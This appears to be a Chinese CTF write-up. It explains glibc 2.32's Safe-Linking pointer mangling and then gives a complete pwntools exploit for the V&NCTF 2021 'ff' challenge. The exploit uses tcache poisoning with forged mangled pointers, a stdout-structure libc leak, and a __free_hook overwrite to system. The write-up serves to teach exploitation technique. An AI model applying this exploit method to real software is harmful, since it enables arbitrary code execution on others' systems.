2.32 Safe-Linking 机制


看 glibc 2.32 源码:

/* Safe-Linking:
   Use randomness from ASLR (mmap_base) to protect single-linked lists
   of Fast-Bins and TCache.  That is, mask the "next" pointers of the
   lists' chunks, and also perform allocation alignment checks on them.
   This mechanism reduces the risk of pointer hijacking, as was done with
   Safe-Unlinking in the double-linked lists of Small-Bins.
   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
   larger pages provide less entropy, although the pointer mangling
   still works.  */
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

这个机制被引进到 fastbin 和 tcache 当中,将 pos >> 12 后(叫做 key),与原来的 next 进行异或,作为新的 next 值。

例题看 V&NCTF 2021 的 ff:学习了新版本加密指针,也复习了 _IO_stdout 泄露 libc

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./ff')
libc = ELF('./glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc-2.32.so')

def add(size,content):
    s.sendlineafter(b'>>' , b'1')
    s.sendlineafter(b'Size:\n' , str(size))
    s.sendafter(b'Content:\n' , content)

def delete():
    s.sendlineafter(b'>>' , b'2')

def show():
    s.sendlineafter(b'>>' , b'3')

def edit(content):
    s.sendlineafter(b'>>' , b'5')
    s.sendafter(b'Content:\n' , content)

add(0x58 , b'a')
delete()
show()
heap_base = u64(s.recv(6).ljust(8 , b'\x00')) << 12
success('heap_base=>' + hex(heap_base))

edit(p64(0)*2)
delete()
edit(p64((heap_base + 0x10) ^ ((heap_base + 0x2a0) >> 12)) + p64(0))
add(0x58 , b'a')
add(0x58 , b'\x00\x00' * 0x27 + b'\xFF\x00')
delete()
add(0x48 , b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00')
add(0x38 , b'a')
add(0x18 , b'a' * 8 + b'\xc0\x06\xfc')

add(0x48 , p64(0xfbad1887) + p64(0)*3 + p8(0))
libc_base = u64(s.recvuntil(b'\x7f' , timeout = 1)[-6:].ljust(8 , b'\x00')) - 132 - libc.sym['_IO_2_1_stdout_']
if(libc_base < 0):
    exit(0)
success('libc_base=>' + hex(libc_base))
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

add(0x18 , p64(__free_hook - 0x10))
add(0x70 , b'/bin/sh\x00'*2 + p64(system_addr))

delete()

#gdb.attach(s)
s.interactive()

附件

提取码:3y5u

参考文章:

http://blog.wjhwjhn.com/archives/186/